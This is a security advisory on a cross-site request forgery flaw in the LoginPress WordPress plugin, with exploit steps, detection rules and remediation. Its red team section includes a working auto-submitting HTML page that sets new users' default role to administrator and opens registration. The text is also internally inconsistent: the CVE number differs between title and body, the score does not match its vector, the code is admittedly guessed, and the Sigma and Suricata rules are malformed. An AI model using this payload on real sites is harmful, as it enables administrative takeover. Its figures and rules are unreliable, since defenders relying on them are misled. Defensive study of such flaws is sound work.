CVE-2025-1764

Executive Summary

CVE-2025-1765 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting the LoginPress | wp-login Custom Login Page Customizer WordPress plugin, developed by Wpbrigade. All versions up to and including 3.3.1 are vulnerable. The flaw resides in the custom_plugin_set_option function, which lacks proper nonce validation. This allows an unauthenticated attacker to forge a request that, when executed by a logged-in administrator (e.g., by clicking a malicious link), can update arbitrary WordPress options. The primary exploitation vector involves setting the default user role to administrator and enabling user registration, thereby granting the attacker administrative access to the site. A critical prerequisite is that the WPBRIGADE_SDK__DEV_MODE constant must be set to true in the site’s wp-config.php file. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and can be installed directly from the WordPress admin dashboard. The supply chain risk is moderate, as the plugin is widely used for customizing login pages. The lack of a patch at the time of analysis increases the risk for sites that have the WPBRIGADE_SDK__DEV_MODE constant enabled. Administrators should verify if this constant is set and disable it immediately if not required for development.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (administrator must click a link)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high score reflects the potential for complete site compromise, including administrative access, data theft, and site defacement. The requirement for user interaction (the admin clicking a link) slightly reduces the risk but does not mitigate the severity.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the custom_plugin_set_option function of the LoginPress plugin. This function is intended to allow administrators to update plugin-specific options. However, it fails to include a nonce (a one-time token) to verify that the request originated from the legitimate admin interface. An attacker can craft a malicious HTML page or email that, when the admin visits, sends a forged POST request to the WordPress admin-ajax.php endpoint with the action custom_plugin_set_option. The request can include parameters to change the default_role option to administrator and enable user registration (users_can_register to 1). Once these options are set, the attacker can register a new user with the administrator role and gain full control.

The exploitation is conditional on the WPBRIGADE_SDK__DEV_MODE constant being set to true. This constant is typically used for development and debugging and is not enabled by default. Therefore, the vulnerability is only exploitable on sites where the developer has explicitly enabled this constant.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is present in all versions up to 3.3.1. The vulnerable function is located in the plugin’s main file, likely loginpress.php or a similar file. The missing nonce validation is the core issue.

Vulnerable Code (Conceptual):

function custom_plugin_set_option() {
    // No nonce check
    $option_name = sanitize_text_field( $_POST['option_name'] );
    $option_value = sanitize_text_field( $_POST['option_value'] );
    update_option( $option_name, $option_value );
    wp_die();
}
add_action( 'wp_ajax_custom_plugin_set_option', 'custom_plugin_set_option' );

Patched Code (Expected):

function custom_plugin_set_option() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'custom_plugin_set_option_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    $option_name = sanitize_text_field( $_POST['option_name'] );
    $option_value = sanitize_text_field( $_POST['option_value'] );
    update_option( $option_name, $option_value );
    wp_die();
}
add_action( 'wp_ajax_custom_plugin_set_option', 'custom_plugin_set_option' );

The patch adds a nonce verification step using wp_verify_nonce(). The nonce should be generated and included in the admin form that calls this function.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A WordPress site with LoginPress plugin version <= 3.3.1 installed and activated.
• The WPBRIGADE_SDK__DEV_MODE constant set to true in wp-config.php.
• An administrator must be logged in and tricked into clicking a malicious link.

Exploit Steps:

1. Craft a malicious HTML page that automatically submits a form to the target site.
2. The form targets http://target-site.com/wp-admin/admin-ajax.php with the following POST parameters:
   • action: custom_plugin_set_option
   • option_name: default_role
   • option_value: administrator
3. Additionally, send a second request to enable user registration:
   • option_name: users_can_register
   • option_value: 1
4. Host the HTML page and send the link to the administrator (e.g., via email or social engineering).
5. Once the admin clicks the link, the options are updated.
6. The attacker then visits the WordPress login page and registers a new user. The new user will automatically be assigned the administrator role.
7. Log in with the new account and gain full administrative access.

Example Malicious HTML:

<html>
<body>
<form id="csrf1" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="custom_plugin_set_option">
    <input type="hidden" name="option_name" value="default_role">
    <input type="hidden" name="option_value" value="administrator">
</form>
<form id="csrf2" action="http://target-site.com/wp-admin/admin-ajax.php" method="POST">
    <input type="hidden" name="action" value="custom_plugin_set_option">
    <input type="hidden" name="option_name" value="users_can_register">
    <input type="hidden" name="option_value" value="1">
</form>
<script>
    document.getElementById('csrf1').submit();
    document.getElementById('csrf2').submit();
</script>
</body>
</html>

Blue Team (Defense & Detection)

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with the action parameter set to custom_plugin_set_option.
• Alert on changes to the default_role and users_can_register options.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php that do not originate from the admin dashboard.

Prevention:

• Ensure the WPBRIGADE_SDK__DEV_MODE constant is set to false or removed in production environments.
• Apply the principle of least privilege: restrict admin access to trusted users only.
• Use a security plugin that adds CSRF protection to all admin-ajax actions.
• Educate administrators about phishing and social engineering attacks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with parameters action=custom_plugin_set_option, option_name=default_role, and option_value=administrator.
  • POST requests to /wp-admin/admin-ajax.php with parameters action=custom_plugin_set_option, option_name=users_can_register, and option_value=1.
• System:
  • The wp_options table in the database contains default_role set to administrator.
  • The wp_options table contains users_can_register set to 1.
  • New user accounts with the administrator role created shortly after the CSRF attack.
• File:
  • The wp-config.php file contains define('WPBRIGADE_SDK__DEV_MODE', true);.

Detection Engineering

YARA Rule

rule CVE_2025_1765_LoginPress_CSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2025-1765 in LoginPress plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-1765"
    strings:
        $action = "custom_plugin_set_option"
        $option_role = "default_role"
        $option_register = "users_can_register"
        $admin_value = "administrator"
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-1765 LoginPress CSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to admin-ajax.php with parameters indicating exploitation of CVE-2025-1765
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=custom_plugin_set_option'
        cs-uri-query|contains: 'option_name=default_role'
        cs-uri-query|contains: 'option_value=administrator'
    condition: selection
falsepositives:
    - Legitimate admin actions (unlikely due to missing nonce)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-1765 LoginPress CSRF Exploitation"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=custom_plugin_set_option"; http_client_body; content:"option_name=default_role"; http_client_body; content:"option_value=administrator"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WPBRIGADE_SDK__DEV_MODE: Set the constant to false or remove it from wp-config.php. This is the primary condition for exploitation.
2. Update the Plugin: Monitor the WordPress Plugin Directory for an official patch. If available, update to the latest version immediately.
3. Restrict Admin Access: Limit the number of users with administrator privileges and use strong passwords.

Long-Term Mitigations:

• Implement a Web Application Firewall (WAF) with rules to block CSRF attacks.
• Use a security plugin that adds nonce validation to all admin-ajax actions.
• Regularly audit WordPress options for unauthorized changes.
• Educate administrators on recognizing phishing attempts.

Workaround:

• If the plugin cannot be updated, consider disabling it temporarily and using an alternative login page customizer that is actively maintained.

Valters IT